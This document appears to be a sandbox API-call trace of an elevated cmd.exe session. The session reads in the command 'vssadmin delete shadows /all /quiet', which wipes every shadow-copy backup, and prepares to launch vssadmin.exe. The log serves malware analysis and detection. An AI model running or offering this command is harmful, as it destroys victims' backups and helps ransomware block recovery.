	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.295] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0215.295] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.295] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.296] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.296] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.296] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.296] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.296] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.296] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.296] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0215.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0215.297] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.297] GetFileType (hFile=0x228) returned 0x3
	[0215.297] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.297] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.297] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.297] GetFileType (hFile=0x234) returned 0x3
	[0215.297] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0215.297] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xc90e98f8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f8c8*=0x24, lpOverlapped=0x0) returned 1
	[0215.297] GetProcessHeap () returned 0x1d2f7770000
	[0215.297] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x4012) returned 0x1d2f7778fe0
	[0215.297] GetProcessHeap () returned 0x1d2f7770000
	[0215.297] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778fe0) returned 1
	[0215.298] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0215.298] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0215.298] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0215.298] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0215.298] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0215.298] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0215.298] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0215.298] GetProcessHeap () returned 0x1d2f7770000
	[0215.298] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xb0) returned 0x1d2f7778380
	[0215.298] GetProcessHeap () returned 0x1d2f7770000
	[0215.298] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x22) returned 0x1d2f77781b0
	[0215.299] GetProcessHeap () returned 0x1d2f7770000
	[0215.299] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x48) returned 0x1d2f7778440
	[0215.299] GetConsoleOutputCP () returned 0x1b5
	[0215.299] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0215.300] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0215.300] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f710, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0215.300] malloc (_Size=0xffce) returned 0x1d2f7890840
	[0215.300] ??_V@YAXPEAX@Z () returned 0x1d2f7890840
	[0215.300] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0215.301] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0215.301] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0215.302] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0215.303] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0215.303] ??_V@YAXPEAX@Z () returned 0x1
	[0215.303] GetProcessHeap () returned 0x1d2f7770000
	[0215.303] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xffde) returned 0x1d2f7778fe0
	[0215.304] GetProcessHeap () returned 0x1d2f7770000
	[0215.304] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x5a) returned 0x1d2f7778490
	[0215.304] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0215.304] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0215.304] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0215.304] GetProcessHeap () returned 0x1d2f7770000
	[0215.304] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1ffac) returned 0x1d2f7788fd0
	[0215.305] SetErrorMode (uMode=0x0) returned 0x0
	[0215.305] SetErrorMode (uMode=0x1) returned 0x0
	[0215.305] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d2f7788fe0, lpFilePart=0xc90e98ef90 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc90e98ef90*="system32") returned 0x13
	[0215.305] SetErrorMode (uMode=0x0) returned 0x1
	[0215.305] GetProcessHeap () returned 0x1d2f7770000
	[0215.305] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7788fd0, Size=0x4a) returned 0x1d2f7788fd0
	[0215.306] GetProcessHeap () returned 0x1d2f7770000
	[0215.306] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7788fd0) returned 0x4a
	[0215.306] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0215.306] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0215.306] GetProcessHeap () returned 0x1d2f7770000
	[0215.306] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1b4) returned 0x1d2f7776c00
	[0215.306] GetProcessHeap () returned 0x1d2f7770000
	[0215.306] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x358) returned 0x1d2f7789030
	[0215.313] GetProcessHeap () returned 0x1d2f7770000
	[0215.313] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7789030, Size=0x1b6) returned 0x1d2f7789030
	[0215.313] GetProcessHeap () returned 0x1d2f7770000
	[0215.313] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7789030) returned 0x1b6
	[0215.313] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0215.313] GetProcessHeap () returned 0x1d2f7770000
	[0215.313] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xe8) returned 0x1d2f7776dc0
	[0215.315] GetProcessHeap () returned 0x1d2f7770000
	[0215.315] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7776dc0, Size=0x7e) returned 0x1d2f7776dc0
	[0215.315] GetProcessHeap () returned 0x1d2f7770000
	[0215.315] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7776dc0) returned 0x7e
	[0215.315] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0215.315] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776e50
	[0215.315] GetProcessHeap () returned 0x1d2f7770000
	[0215.315] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x0, Size=0x28) returned 0x1d2f7777d50
	[0215.315] FindClose (in: hFindFile=0x1d2f7776e50 | out: hFindFile=0x1d2f7776e50) returned 1
	[0215.315] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0215.315] GetLastError () returned 0x2
	[0215.315] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776e50
	[0215.315] GetProcessHeap () returned 0x1d2f7770000
	[0215.316] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7777d50, Size=0x8) returned 0x1d2f7777d50
	[0215.316] FindClose (in: hFindFile=0x1d2f7776e50 | out: hFindFile=0x1d2f7776e50) returned 1
	[0215.316] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0215.316] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0215.316] ??_V@YAXPEAX@Z () returned 0x1
	[0215.316] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f280, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0215.329] GetProcessHeap () returned 0x1d2f7770000
	[0215.329] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x21c) returned 0x1d2f7789200
	[0215.329] GetConsoleTitleW (in: lpConsoleTitle=0x1d2f7789210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0215.330] GetProcessHeap () returned 0x1d2f7770000
	[0215.330] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7789200, Size=0xc2) returned 0x1d2f7789200
	[0215.330] GetProcessHeap () returned 0x1d2f7770000
	[0215.330] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7789200) returned 0xc2
	[0215.330] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0215.332] GetProcessHeap () returned 0x1d2f7770000
	[0215.332] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789200) returned 1
	[0215.332] InitializeProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc90e98f090 | out: lpAttributeList=0xc90e98f1a0, lpSize=0xc90e98f090) returned 1
	[0215.332] UpdateProcThreadAttribute (in: lpAttributeList=0xc90e98f1a0, dwFlags=0x0, Attribute=0x60001, lpValue=0xc90e98f07c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc90e98f1a0, lpPreviousValue=0x0) returned 1
	[0215.332] GetStartupInfoW (in: lpStartupInfo=0xc90e98f130 | out: lpStartupInfo=0xc90e98f130*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) 
	[0215.332] GetProcessHeap () returned 0x1d2f7770000
	[0215.332] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x20) returned 0x1d2f7776e50
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0215.332] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0215.333] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0215.333] GetProcessHeap () returned 0x1d2f7770000
	[0215.333] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776e50) returned 1
	[0215.333] GetProcessHeap () returned 0x1d2f7770000
	[0215.333] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x12) returned 0x1d2f7778010
	[0215.333] _get_osfhandle (_FileHandle=1) returned 0x234
	[0215.333] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0215.333] _get_osfhandle (_FileHandle=0) returned 0x228
	[0215.333] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0
